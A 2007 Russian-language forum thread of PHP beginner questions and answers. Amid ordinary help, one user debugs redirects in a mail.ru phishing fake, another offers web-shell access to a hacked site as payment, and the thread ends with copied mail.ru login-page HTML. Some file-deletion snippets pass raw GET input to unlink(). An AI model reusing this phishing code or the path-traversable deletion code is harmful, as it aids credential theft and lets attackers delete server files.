$buff = fread ($file,100);
print $buff;
}
?>

как сделать чтобы он считал строки по диапозону и выводил результат не встроку а в столбец или пробел заменялся переносом на новую строку :rolleyes:

GoreMaster
11.06.2007, 13:44
А не подойдет ли это:

$mail_list = file("c:/www/html/file.txt","r");
for($i=0;$i < 50000; $i++){
echo "$mail_list[$i] <br>";
}

Dr.Frank
11.06.2007, 16:11
А не подойдет ли это:

$mail_list = file("c:/www/html/file.txt","r");
for($i=0;$i < 50000; $i++){
echo "$mail_list[$i] <br>";
}

Почти.., только

$mail_list = file("file.txt");
for($i=$number;$i < ($number+50000); $i++){
echo "{$mail_list[$i]} <br/>\r\n";
}

$number - переменная(номер), начиная с которого читаются E-mail

}{0TT@БЬ)Ч
11.06.2007, 16:29
вот вытащил из скрипта
fsockopen($hostname,80,$errnum,$errstr,20)
и не пойму за что отвечает пременные $errnum,$errstr и почему именно 20?

Joker-jar
11.06.2007, 16:50
Есть функция, генерирующая строку заданной длины из заданного символа?

Fire3d
11.06.2007, 19:45
<?
$i=1;
while($i<15){
echo $i ."<br>";
$i++;
}
?>
Обьясните что означает выделеное жирным.

Fire3d
11.06.2007, 19:51
Но просто ели убрать точку то скрипт не выполнится((( Что обозначает точка ? Извените за ламерские вопросы но я недавно пхп начал изучать и по ходу обучение от вопросов не куда не дется (

}{0TT@БЬ)Ч
11.06.2007, 20:14
2Fire3d
<?
$a = "100";
$b = "200";
echo $a + $b ."\n"; //выведет "300"
echo $a . $b; //выведет "100200"
?>
вот глянь взял из книги ;)

$Lemur$
11.06.2007, 23:20
<?
$file = file("file.txt");
$start = 0;
$end = 1000;
if(!$file)
{
echo("Ошибка открытия файла");
}
else
{
for($i=$start;$i < ($start+$end); $i++)
{
printf("%s<br>", $file[$i]);
}
}
?>


сделал вот так спасибо :D

GoreMaster
11.06.2007, 23:23
функция file("filename") считывает содержимое в файла в массив (=.
У тебя лист разбит на строки или просто список в файле через пробел?

Isis
11.06.2007, 23:30
file_get_contents
Читает файлы ........

Если чето по строкам надо, то
explode (http://php.net/explode)

$Lemur$
11.06.2007, 23:38
да все я разобрался спасибо ;)

Dr.Frank
12.06.2007, 09:29
Есть функция, генерирующая строку заданной длины из заданного символа?


str_repeat("-=", 10);

Fire3d
12.06.2007, 20:52
Cтранно вот мой код
<?
$os=array('Window','Linux','Freebsd','OS/2');
$os[]='MS-Dos';
echo '<table border=1>';
for ($a=0; $a<count($os); $a++) {
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';
}
echo'</table>';
?>
а вот чужой
<?
$operating_systems = array( 'Windows', 'Linux', 'FreeBSD', 'OS/2');
$operating_systems[] = 'MS-DOS';

echo '<table border=1>';
for ($i=0; $i<count($operating_systems); $i++) {
echo '<tr><td>' . $i . '</td><td>' . $operating_systems[$i] . '</td></tr>';
}
echo '</table>';
?>
Почему мой не работает ?

Piflit
12.06.2007, 21:19
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';

echo '<tr><td>' . $i . '</td><td>' . $operating_systems[$i] . '</td></tr>';

эти строчки различаются... посмотри)

n1†R0x
12.06.2007, 21:43
Cтранно вот мой код
[...]
Почему мой не работает ?
строка 6
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';
сначала должен идти tr, затем td... и еще одна опечатка. исправленная строка:
echo'<tr><td>'. $a .'</td><td>'. $os[$a] . '</td></tr>';

$Lemur$
13.06.2007, 00:29
header("Location: http://cards.mail.ru/card.html?cdu=89751db02a0f81a577dc9e55f5a5b045"); // куда пошлем пользователя после того как он ввел данные!

echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"

почему так он переадресует в http://win.mail.ru/cgi-bin/start?1390370218

а не в http://cards.mail.ru/card.html?cdu=89751db02a0f81a577dc9e55f5a5b045

где там ошибка

код взят из фейка mail http://rapidshare.com/files/30822932/fake.rar

hhover
13.06.2007, 04:12
header будет работать лишь в том случае, если перед этим заголовки не были уже посланы. Тоесть до строки с header не должно быть лишних echo, а так же html кода и любых других символов вне <?php

Тоесть тот кусок, что ты дал будет работать без ошибок, но в контексте скрипта header может не сработать и скрипт пойдет выполняться дальше, делая редирект при помощи <meta http-equiv=refresh.

$Lemur$
13.06.2007, 10:15
2hhover спасибо, и еще один вопрос

echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"

почему с http://win.mail.ru/cgi-bin/start?1390370218\ оно работает а стоит подставить например www.mail.ru ссыылается на ошибку

на не профисиональный взгляд в этом примере ковычки не правильно раставлены :confused: или я ошибаюсь

Dr.Frank
13.06.2007, 10:59
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"

почему с http://win.mail.ru/cgi-bin/start?1390370218\ оно работает а стоит подставить например www.mail.ru ссыылается на ошибку

на не профисиональный взгляд в этом примере ковычки не правильно раставлены :confused: или я ошибаюсь

Возьми сам URL в одинарные ковычки.., т.е.:

echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL='http://win.mail.ru/cgi-bin/start?1390370218'\">"


В случае с http://www.mail.ru - то же самое

Cond
13.06.2007, 12:58
Вот скрипт от Dr.Frank'a:
<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1)
a($q,($z+1),$s.$q);
else
fwrite($file,$s.$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>

Что он делает можно почитать здесь (http://forum.antichat.ru/showpost.php?p=383148&postcount=73).
Появилась необходимость его немного переделать.
Например есть HTML форма:
http://img507.imageshack.us/img507/4514/ris1bt8.jpg
из рисунка следует что $f1=4, а $f2=14.
в result.txt записывается:
7101112
7101113
7101114
7101213
7101214
7101314
(это часть того чего записывается в result.txt)
Надо чтобы записывалось в таком виде:
a_7+a_10+a_11+a_12
a_7+a_10+a_11+a_13
a_7+a_10+a_11+a_14
a_7+a_10+a_12+a_13
a_7+a_10+a_12+a_14
a_7+a_10+a_13+a_14
Т.е надо чтобы перед каждой цифрой (которая может состоять и из 2-ух цифр например: 10 11 12 13 14) стояло a_
Думал сам сделаю весь день копался со скриптом перекопал пару книг так ничего путного не придумал :( вот так только сделал чтобы перед поcледней цифрой +a_ было:
<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1)
a($q,($z+1),$s.$q);
else
fwrite($file,$s."+a_".$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>
а как сделать чтобы было как надо так и не понял :(.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи.

Fire3d
13.06.2007, 13:31
<?
$lang=array(
1=>'Russian',
'English',
'Deutch'
);

echo'<pre>';
print_r($lang);
echo'</pre>';
?>
<?
<table>
<tr>
<th>Индекс:</th>
<th>Бля бля бля:</th>
</tr>
<?

foreach($lang as $key => $value) {

echo '<tr><td>' . $key . '<td><td>' . $value . '</td></tr>';
}
?>
</table>


Что здесь не правильно ? а вообще есть способ выявить ошибки там ? не помню... Кароче есть фишка если не работает скрипт тебе указывают на ошибку.

Y.Dmitriy
13.06.2007, 13:37
<?
<table>
<tr>
<th>Индекс:</th>
<th>Бля бля бля:</th>
</tr>
<?
первое это зачем таблицу в пхп код вставлять? у тя она рисуется так?
$lang=array(
1=>'Russian',
'English',
'Deutch'
)
а почему равно или больше?
и посмотри где у тя начинатся таблица а где заканчивается!

Dr.Frank
13.06.2007, 13:37
a_7+a_10+a_11+a_12
a_7+a_10+a_11+a_13
a_7+a_10+a_11+a_14
a_7+a_10+a_12+a_13
a_7+a_10+a_12+a_14
a_7+a_10+a_13+a_14
Т.е надо чтобы перед каждой цифрой (которая может состоять и из 2-ух цифр например: 10 11 12 13 14) стояло a_

а как сделать чтобы было как надо так и не понял :(.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи.

Вот код:

<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1){
if(str_replace("+a_","",$s)=="")
a($q,($z+1),$q);
else
a($q,($z+1),$s."+a_".$q);
}else
fwrite($file,"a_".$s."+a_".$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>


P.S.: А шелл у тебя на раздаче тот же? или другой? =) (может собиру коллекцию шеллов.. =))

P.P.S.: В следующий раз(если мой скрипт) пиши в личку, дабы не флудить на форуме..

Dr.Frank
13.06.2007, 13:40
$lang=array(
1=>'Russian',
'English',
'Deutch'
)
а почему равно или больше?


=(

Это не знак "равно или больше", такое пример реализует нумерацию элементов в массиве с единицы, а не с нуля..

Fire3d
13.06.2007, 13:42
первое это зачем таблицу в пхп код вставлять? у тя она рисуется так?

а почему равно или больше?
и посмотри где у тя начинатся таблица а где
заканчивается!
Я тебя не понил Дмитрий(((
Вот мой код
<?
$lang=array(
1=>'Russian',
'English',
'Deutch'
);

?>

<?
<table>
<tr>
<th>Индекс:</th>
<th>Бля бля бля:</th>
</tr>

<?
foreach($lang as $key => $value) {

echo '<tr><td>' . $key . '</td><td>' . $value . '</td></tr>';

}
?>
</table>
А это исходник
<?
$languages = array(
1 => 'Assembler',
'C++',
'Pascal',
'scripting' => 'bash'
);
$languages['php'] = 'PHP';
$languages[100] = 'Java';
$languages[] = 'Perl';
?>
<table>
<tr>
<th>Индекс</th>
<th>Значение</th>
</tr>
<?
foreach ($languages as $key => $value) {
echo '<tr><td>' . $key . '</td><td>' . $value . '</td></tr>';
}
?>
</table>

Fire3d
13.06.2007, 13:47
Я разобрался))

Y.Dmitriy
13.06.2007, 13:50
так вот и посмотри разницу ы коде и исходнике!
Dr.Frank - я прогнал:)

Fire3d
13.06.2007, 16:09
Мне много не понятна в книгах там в примерах. Вот пример из книги $name = isset($_POST['name']) ? $_POST['name'] : ''; Выделеное мне не понятно в книге нече не написано ((( Где можно об этом почитать или посоветуйте норм книгу или че там...
Зарание спасибо.

blaga
13.06.2007, 19:03
2Fire3d, это функция проверки переменной. читай про это здесь - http://www.php.slaed.net/f/isset.html

2-n00by-, действительно не в тему. Читай вот эту тему - https://forum.antichat.ru/thread19610.html

nc.STRIEM
13.06.2007, 20:37
любая функция которая тебе не понятна идеш на http://php.ru и смотриш! там все есть)

blaga
14.06.2007, 18:55
кхм. мой черед задавать вопросы.
Есть ли разница в быстродействии если в базе тип поля ставлю например VARCHAR(50), а в реале исползую только 10 символов?
Есть ли разница в быстродействии если вообще под поля ставить различные типы? Например в поле id где всегда будет INT поставить LONGTEXT. Или если в поле где пишеться максимум 50 символов делать его тип TEXT?

Isis
14.06.2007, 19:24
Какие-то милисекунды тратятся на стрлен все равно :)

_Great_
14.06.2007, 19:32
Есть функция, генерирующая строку заданной длины из заданного символа?
str_repeat( подстрока, множитель )

blaga
15.06.2007, 08:14
Итак ясно. НЕ очень много но все же есть. А если значений много? Например несколько тысяч? Или около ста тысяч?

Mosvit
15.06.2007, 17:27
У меня есть вот такой PHP бот типа автоответчика аськи, который когда ему шлют сообщение отправляет заданную мной фразу , может можно как-нибудь изменить чтобы он ещё и выдавал какую-либо инфу при отправке ему определённого слова, например чтобы при отправке ему слова !info он выдавал какую-либо информацию заданную мной

Сам бот:
Index:

<?
include "c99phpicq.php";
set_time_limit (0);
ignore_user_abort(true);
$icq = new ICQclient("UIN бота ","пароль");
$icq->errorstream = false;
$icq->dbgstream = false;
$icq->connect();
$icq->setstatus("NA","WORK");
$icq->setstatusflags("DCCONT","");
$icq->login();
while ($icq->socket)
{
$icq->listen();
if ($icq->ismessage())
{
$uin = $icq->inLastVar["uin"];
$text = $icq->inLastVar["text"];
$mid = md5($icq->inLastVar["mid"]);
$text = trim($text);
if ($text == "!exit" && $uin=="номер бота")
{
exit;
}
else
{
$icq->message_send($uin,"Текст сообщния автоответчика");
$log="log.txt";
$fp = fopen($log,"a+");
fwrite($fp,"$uin:$text\n");
fclose($fp);
}
}
}
?>



Log.php

<body bgcolor="black" text="white" link="red"></body>
<center>
<pre>
<?
require("log.txt");
?>
</pre>
</center>

Mosvit
15.06.2007, 17:58
_http://php.ru/manual/control-structures.switch.html (про свитч)

"Текст сообщния автоответчика" меняй на свое (то что ты хочешь)ъ
$uin=="номер бота") меняй на свой (я так понимаю это админский номер с котороого разрешается выключать бота)
С !exit я разобрался. По той ссылке ни чего не понимаю, я английский плохо знаю.
Вообщем вот пример тог что я хочу сделать: допустим кто-то посылат мне сообщение когда бот включен, бот сразу же отвечат "Для получения справки позвоние по номеру, чтобы увидеть номер наберите !nomer " И при наборе !nomer выдавался номер телефона который я задам (это как пример).

Isis
15.06.2007, 18:06
http://www.intrigue.ru
Качай готовый класс webicqpro + бот с несколькими функциями и изменяй

Mosvit
15.06.2007, 18:49
Вообщем может кто-нибуь сам изменить тот скрипт который я выложил выше, чтобы когда кто-то посылат мне сообщение когда бот включен, бот сразу же отвечал "Для получения справки позвоние по номеру, чтобы увидеть номер наберите !nomer " И при наборе !nomer выдавался номер 89162421167 . Ничего у меня не получается сэтим PHP

Mosvit
15.06.2007, 20:08
Я не много изменил скрипт, будет ли теперь он выводить номер при набое /nomer ?


<?
include "c99phpicq.php";
set_time_limit (0);
ignore_user_abort(true);
$icq = new ICQclient("UIN","Pass");
$icq->errorstream = false;
$icq->dbgstream = false;
$icq->connect();
$icq->setstatus("NA","WORK");
$icq->setstatusflags("DCCONT","");
$icq->login();
while ($icq->socket)
{
$icq->listen();
if ($icq->ismessage())
{
$uin = $icq->inLastVar["uin"];
$text = $icq->inLastVar["text"];
$mid = md5($icq->inLastVar["mid"]);
$text = trim($text);
$text="/nomer";
switch ($text) {
case "/nomer":
echo "89162421167";
break;
if ($text == "!exit" && $uin=="Номер хозина")
{
exit;
}
else
{
$icq->message_send($uin,"Для получения номера наберите /nomer");
$log="log.txt";
$fp = fopen($log,"a+");
fwrite($fp,"$uin:$text\n");
fclose($fp);
}
}
}
?>

Mosvit
15.06.2007, 20:29
Плииз, измениего сам а то я уже замучился его настраивать весь день сижу с этим скриптом. Главное настрой чтобы он на команду /nomer выводил номер 89162421167 , а с номерм хозяина и прочим я уж сам разберусь.

SIBON
16.06.2007, 16:50
неподскажите пожайлусто скрипт граббера ссылок. если можно не построчново а например по поиску определённых символов типа <>

n05i4
16.06.2007, 17:22
sibon копай в сторону регулярных выражений

http://lv2.php.net/preg_match
http://phpclub.ru/detail/article/regexp_1
http://phpclub.ru/detail/article/regexp_2

Hanf
16.06.2007, 20:37
Можна пример как залогинитса на сайт с помощью средств PHP, вот кусок сайта



<form method="post" name="snd" action="some.php">
<input type="hidden" name="w" value="">
<input type="hidden" name="login" value="1182010500">

<p><table class="p1" style="width:100%"cellspacing="1" cellpadding="0"><tr><td>

<table width="100%" cellspacing="1" cellpadding="0">
<tr><td><label>Имя:</label>
<input class="fm fm110" type="text" name="e91db3a" value="" maxlength="15"> <span class="e f7"></span>
</td></tr>
<tr><td><label>Пароль:</label>
<input class="fm fm110" type="password" name="edfa0d9" value="" maxlength="20"> <span class="e f7"></span>
</td></tr>
</table></td></tr></table></p>


<p align="center"><input type="hidden" name="ee0afeb" value="">
<input type="image" value="login" border="0" name="s1" src="img/ru/b/l1.gif" width="80" height="20" onMousedown="btm1('s1','','img/ru/b/l2.gif',1)" onMouseover="btm1('s1','','img/ru/b/l3.gif',1)" onMouseUp="btm0()" onMouseOut="btm0()" onClick="xy()"></input>

hhover
16.06.2007, 22:20
Hanf,
$url = 'http://site.com/some.php';

$post_data = "w=&login=1182010500&e91db3a=mylogin&edfa0d9=mypassword&ee0afeb=";

$curl = curl_init ( );

curl_setopt ( $curl, CURLOPT_URL, $url );

curl_setopt ( $curl, CURLOPT_POST, 1 );
curl_setopt ( $curl, CURLOPT_POSTFIELDS, $post_data );

curl_setopt ( $curl, CURLOPT_COOKIESESSION, 1 );
curl_setopt ( $curl, CURLOPT_COOKIEJAR, 'cookie.txt' );
curl_setopt ( $curl, CURLOPT_COOKIEFILE, 'cookie.txt' );

curl_setopt ( $curl, CURLOPT_TIMEOUT, 5 );

curl_exec ( $curl );

Hanf
16.06.2007, 23:56
Пасиба, а как с помощью сокетов?

hhover
17.06.2007, 09:10
$sock = fsockopen( "site.com", 80, $errno, $errstr, 10);
if ( ! $sock )
{
die ( "$errstr ($errno)" );
}
else
{
$content = "w=&login=1182010500&e91db3a=mylogin&edfa0d9=mypassword&ee0afeb=";
$content_strlen = strlen ( $content );

$header = "POST http://site.com/some.php HTTP/1.0\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Host: site.com\r\n";
$header .= "Content-Length: $content_strlen\r\n";
$header .= "\r\n";
$header .= $content;

fwrite( $sock, $header );
while ( ! feof ( $sock ) )
echo fgets($fp, 128);
fclose( $sock );
}

Gho_st
17.06.2007, 13:12
вопрос такой на localhost'e скрипт работал
но хосте выдается следующая ошибка
Warning: file(): URL file-access is disabled in the server configuration

в чем трабла?

_Great_
17.06.2007, 13:17
вопрос такой на localhost'e скрипт работал
но хосте выдается следующая ошибка
Warning: file(): URL file-access is disabled in the server configuration

в чем трабла?
Берешь словарь и переводишь текст ошибки. ПОлучаешь - доступ к файлам по URL запрещён конфигурацией сервера.

Sw33p
17.06.2007, 19:12
Привет, у кого-нибудь есть скрипт, который переписывет элементы одного массивы элементами другого?

n05i4
17.06.2007, 21:48
Sw33p

<?php
$arr = array(
'a'=>'apple',
'b'=>'banana',
'c'=>'cherry',
);

foreach ($arr as $value)
$arr2[] = $value;

print_r ($arr2);
?>

Sw33p
17.06.2007, 23:31
Поясню: имеются 2 разных массива. Второй массив должен переписать элементы первого точно в таком же порядке, т.е. $f_array[0] равен по значению $s_array[0] и т.д.

ENFIX
17.06.2007, 23:38
Sw33p, тебе же написали уже, можно еще и индексы сохранить:

<?php
$arr = array(
'a'=>'apple',
'b'=>'banana',
'c'=>'cherry',
);
$arr2=array("green","red","white");
unset($arr2);
foreach ($arr as $key => $value) {
$arr2[$key] = $value;
}

print_r ($arr2);
print_r ($arr);
?>

Sw33p
17.06.2007, 23:48
Спасибо

spamoney
21.06.2007, 10:44
В общем такая проблемка:
есть скрипт, как сделать так, что б к каждой ссылке в этом скрипте добавлялся какой-либо параметр заданный в начале этого скрипта.
т.е если я в начале прописал
$id=id;
$a=1;
и иду по адресу
www.suit.ru/index.php, то должен попасть на www.suit.ru/index.php?id=1
ну или с www.suit.ru/index.php?bla=blabla&bla2=bla2bla на www.suit.ru/index.php?bla=blabla&bla2=bla2bla&id=1
Такое вообще реально?

Joker-jar
21.06.2007, 10:59
Почему этим должен заниматься скрипт? Можно же каждую ссылку в скрипте оформить типа:
<?
$id=id;
...
echo "<a href=\"www.suit.ru/index.php?id=$id\">click</a>"
?>
Или нельзя?

spamoney
21.06.2007, 11:13
Ссылок очень много, да и они прописаны в различной форме
есть такие <a href=\"?db=$dbn&q=show+create+table+$v\">Show Create Table</a>
и такие
<a href="<?=$self?>?db=<?=$dbn?>&q=show+tables">
Нужно чтоб сам скрипт автоматически подставлял id=1 в конец каждой ссылки

Joker-jar
21.06.2007, 11:22
В таком случае может лучше заюзать джаваскрипт?

Joker-jar
21.06.2007, 11:37
заюзать джаваскрипт
Например, как-нибудь так:

<html>
<head>

<script>
function AddIdToLinks(idtext)
{
for (i = 0; i < document.links.length; i++)
if (document.links[i].href.indexOf('?') == -1)
document.links[i].href = document.links[i].href + '?' + idtext;
else
document.links[i].href = document.links[i].href + '&' + idtext;
}
</script>

</head>
<body onload="AddIdToLinks('id=1')">

<a href="link1.php">link1</a>
<a href="link2.php?sid=115">link2</a>
<a href="link3.php">link3</a>

</body>
</html>

spamoney
21.06.2007, 11:57
spamoney

где и как эти ссылки находятся на странице?
где и как ты задаешь переменные $a &id и т д они для всех ссылок разные\одинаковые?

подробнее....

переменные задаются в этом же скрипте в самом начале, они одинаковые для всех ссылок, я ничего в php не понимаю, но может это как нить через $_SESSION надо сделать ???

NNNS
21.06.2007, 20:42
Как удалить определенный файл из каталога?
Имеется скрипт, который выводит содержимое папки.

<?php
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir))
echo "<a href=$direct/$file>$file</a><br>";
?>

Как возле каждого файла поставить кнопку или чекбокс, для удаления этого файла функцией unlink()?

DIAgen
21.06.2007, 21:05
Так на скорую руку
<?php
$del_file = $_GET['del_file'];
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir)) {
if($file!="." && $file!=".."){
if($file===$del_file) unlink($direct.'/'.$file);
echo "<a href=\"$direct/$file\">$file</a> - <a href=\"?del_file=$file\"> Нах удалить этот фаил $file :)</a><br>"; }
}
?>
Должно по идеии работать, и рабоет вроде, тут была целай цискусия как правильно сделать...))))

ENFIX
21.06.2007, 21:12
мой вариант =)

<?php
if(isset($_GET['file']) && isset($_GET['dir']))
{
$file=$_GET['file'];
$dir=$_GET['dir'];
if($file!="." && $file!=".."){
if(file_exists($dir."/".$file)) {
unlink($dir."/".$file);
echo "good";
}
}
}
else {
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir))
echo "<a href=?dir={$direct}&file={$file}>{$file}</a><br>";
}
?>

nc.STRIEM
22.06.2007, 16:28
мой вариант =)

<?php
if(isset($_GET['file']) && isset($_GET['dir']))
{
$file=$_GET['file'];
$dir=$_GET['dir'];
$file=$file;
if($file!="." && $file!=".."){
if(file_exists($dir."/".$file)) {
unlink($dir."/".$file);
echo "good";
}
}
}
else {
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir))
echo "<a href=?dir={$direct}&file={$file}>{$file}</a><br>";
}
?>

кривовасто както...
непонятна строка: $file=$file;

у DIAgen норм вариант

DIAgen
22.06.2007, 16:47
Я вот не понимаю зачем использовать конструкцию вида
if(isset($_GET['file']) && isset($_GET['dir'])){
//Тут что то должно быть
}
Если проще использовать
if(($_GET['file'] && $_GET['dir']){
//Тут что то должно быть
}
Функция проверяет isset установлена ли переменная, это значит она читает память, а php автоматически определяет определена ли переменная $_GET или $_POST, or $_REQUEST

nc.STRIEM
22.06.2007, 21:15
Я вот не понимаю зачем использовать конструкцию вида
if(isset($_GET['file']) && isset($_GET['dir'])){
//Тут что то должно быть
}
Если проще использовать
if(($_GET['file'] && $_GET['dir']){
//Тут что то должно быть
}
Функция проверяет isset установлена ли переменная, это значит она читает память, а php автоматически определяет определена ли переменная $_GET или $_POST, or $_REQUEST
$_GET['dir']=0;
$_GET['file'] =0;

переменные установленны? да! но твое условие выполняться не будет! надо через isset()

или имя файла будет false

ENFIX
22.06.2007, 21:48
nc.STRIEM,
насчет

$file=$file;

эт я там чет делал, уже не помню =) В общем думаю догадались, что нужно потереть ;)

кривовасто както...

Где именно кривовасто?

а в коде DIAgen
я бы заменил

$del_file = $_GET['del_file'];

на

$del_file = isset($_GET['del_file'])?$_GET['del_file']:NULL;

Иначе выскакивает:

Notice: Undefined index: del_file in file.php on line 2

GoreMaster
23.06.2007, 18:20
Я вот не понимаю зачем использовать конструкцию вида
if(isset($_GET['file']) && isset($_GET['dir'])){
//Тут что то должно быть
}
Функция проверяет isset установлена ли переменная, это значит она читает память, а php автоматически определяет определена ли переменная $_GET или $_POST, or $_REQUEST
тогда ужisset($_GET['file'],$_GET['dir'])
так как иссет может принимать любое кол-во параметров... ;)

olen
23.06.2007, 19:53
Вопрос припустим есть сайт, с файлом site.domen/text.php

Мне нужно извлечь от туда весь текст и найти ключивое слово.
Я коичо наработал но у меня неполучаеца=\


<?
$host="site.domen";
$soket=fsockopen("www.".$host, 80, $errno, $errstr, 120) or die ("$errstr ($errno)");
$request.="GET site.domen/text.php HTTP/1.0\r\nHost: site.domen\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
while(!feof($soket)){
fwrite($soket, $request); //отпрвка запроса
$content.=fgets($soket,4096);
echo $content;
fclose($soket);
}
}
?>

Joker-jar
23.06.2007, 19:58
В php методы получения содержимого файла по протоколу http уже реализованы в функциях file и filegetcontext (в php.net смотри синтаксис, описание и примеры)

Joker-jar
23.06.2007, 20:03
найти ключивое слово
слово известно, найти позицию? Так чтоль получается?
Если да, то php.net/strpos

olen
23.06.2007, 20:11
egion или както так пишеца для поиск.. мне главное чтоб можно было загрузить страницу спомощю fsockopen, а не в функциях file .

GoreMaster
23.06.2007, 20:14
$fp = fsockopen("my_host", 80, $errno, $errstr, 30);
$pattern = '/(http):\/\/(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+)(:(\d+))?\/(.*)/i';
if (!$fp) {
echo "$errstr ($errno) <br />\n";
}
else {
$out = "GET /check.php HTTP/1.0\r\n";
$out .= "Host: my_host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (! feof($fp)){
if(preg_match($pattern,fgets($fp,70),$ur)){
echo $ur[0];
break;
}
}
вот пример с fsockopen + Regular Expressions
ИМХО методы,предложенные Joker-Jar, лучше подходят для твоего случая с поиском слова.

MesTb
23.06.2007, 22:29
<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title> Вход в систему </title>


<meta NAME="DESCRIPTION"
CONTENT="Национальная почтовая служба @Mail.ru - лучшая бесплатная почта. Доступ к почте через POP/SMTP, веб- и wap-интерфейс. Также на портале: авто, новости, спорт, музыка, работа, знакомства, анекдоты, открытки, погода">


<META name="Keywords" content="почта, бесплатная электронная почта, авто, новости, спорт, музыка, работа, знакомства, анекдоты, открытки, погода">




<link rel="SHORTCUT ICON" href="http://img.mail.ru/r/favicon.ico">


<link href="http://img.mail.ru/mail/ru/css/mail-main1.css?123" rel="stylesheet" type=text/css>

<link href="http://img.mail.ru/mail/ru/css/mail-second.css" rel="stylesheet" type=text/css>









<script language="JavaScript">
<!--
function CheckForm(form)
{
var i,j;
var str = '';


return true;
}
// --></script>



<style TYPE="text/css">
#superbest {
position: absolute;
left: 15;
top: 150;
width: 125;
visibility: visible;
z-index: 10;
}
</style>



</head>
<body marginwidth=0 marginheight=0 leftmargin=0 rightmargin=0 topmargin=0 bottommargin=0 bgcolor="#ffffff" alink="#F26D00" link="#0857A6" vlink="#0857A6">
<center>
<table cellpadding=0 cellspacing=0 border=0 width=90%>
<tr>
<td>
<style>
table.top_menu td.bord_l_or {border-left:1px solid #C2C3CC}
table.top_menu td.bord_b {height:1px; padding:0px; background:#C2C3CC url('http://img.mail.ru/1.gif') no-repeat top right;}
table.top_menu td.top_search {padding:0px 1px}
table.top_menu td.top_search form {margin:0px}
table.top_menu td.top_search td.top_search_logo {padding:0px}
table.top_menu td.top_search td.top_search_inp {padding:0px; width:100%}
table.top_menu td.top_search td.top_search_inp input {font-size:85%; width:99%; border:1px solid #9BA3A9; color:#5A5A5A;}
table.top_menu td.top_search td.top_search_but {padding:1px 0 0 0}
table.top_menu td.top_search td.top_search_but input {font-size:85%;width:55px;border:1px solid #9BA3A9; color:#5A5A5A; background:#FFF;}
</style>
<script>
function inscript (input)
{ if (input.value=="") {input.value=' Поиск в Интернете'} }
function ch()
{
document.MSearch.action="http://r.mail.ru/cln2759/go.mail.ru/search"
}
</script>


<!--New project menu-->
<style>
div#top_menu {height:18px;overflow:hidden; display:block; margin-top:2px;}
div#top_menu a{height:16px;margin-top:0px;margin-right:0px;}
div#top_menu img { margin-right:4px}
</style>
<table cellpadding=0 cellspacing=0 border=0 width=100% class=top_menu>
<tr>
<td class="bord_l_or"><img src=http://img.mail.ru/0.gif width=1 height=1></td>
<td class="top_search" id=forGo><form action=http://r.mail.ru/cln2759/go.mail.ru/ name=MSearch method="get" target="_blank"><input type=hidden name=quick_form value="mail">
<table cellpadding="0" cellspacing="0" width="100%" border="0" id="_rForm">
<tr>
<td class="top_search_logo"><img src=http://img.mail.ru/mail/ru/images/go-all.gif width="16" height="16" border="0"></td>
<td><img src=http://img.mail.ru/0.gif width=3 height=1></td>
<td class="top_search_inp"><img src=http://img.mail.ru/1.gif width=130 height=1><br><input type="Text" value="&nbsp;Поиск в Интернете" onkeyup="ch();" onfocus="this.value='';" onblur="inscript(this);" name=q></td>
<td><img src=http://img.mail.ru/0.gif width=2 height=1></td>
<td class="top_search_but"><input type="Submit" value="Найти" style="height:18px"></td>
</tr>
</table></form>
<table cellpadding="0" cellspacing="0" width="100%" border="0" style="display:none" id="_rLink">
<td width=5%><img src=http://img.mail.ru/0.gif width=15 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2759/go.mail.ru/><img src=http://img.mail.ru/mail/ru/images/go-all.gif width=16 height=16 alt="Поиск" border=0 align=absmiddle></a>&nbsp;<a href=http://r.mail.ru/cln2759/go.mail.ru/>Поиск</a></td>
</table>
</td>
<td><img src=http://img.mail.ru/0.gif width=15 height=1></td>
<script type="text/javascript">
var projectIconPath = "http://img.mail.ru/mail/ru/images/";
var allProjectsArray = [
["Ответы", "http://r.mail.ru/cln3264/otvet.mail.ru/", "otv_prj_ico.gif"],
["Знакомства", "http://r.mail.ru/cln2760/love.mail.ru/", "love-all.gif"],
["Открытки", "http://r.mail.ru/cln2761/cards.mail.ru/", "cards2-all.gif"],
["Чаты", "http://r.mail.ru/cln2762/chat.mail.ru/", "chat-all.gif"],
["Рассылки", "http://r.mail.ru/cln2763/content.mail.ru/", "content-all.gif"],
["Гороскопы", "http://r.mail.ru/cln3275/horo.mail.ru/", "horo-all.gif"],
["Игры", "http://r.mail.ru/cln3282/games.mail.ru/", "games-all.gif"],
["Видео", "http://r.mail.ru/cln3333/video.mail.ru/", "video2-all.gif"],
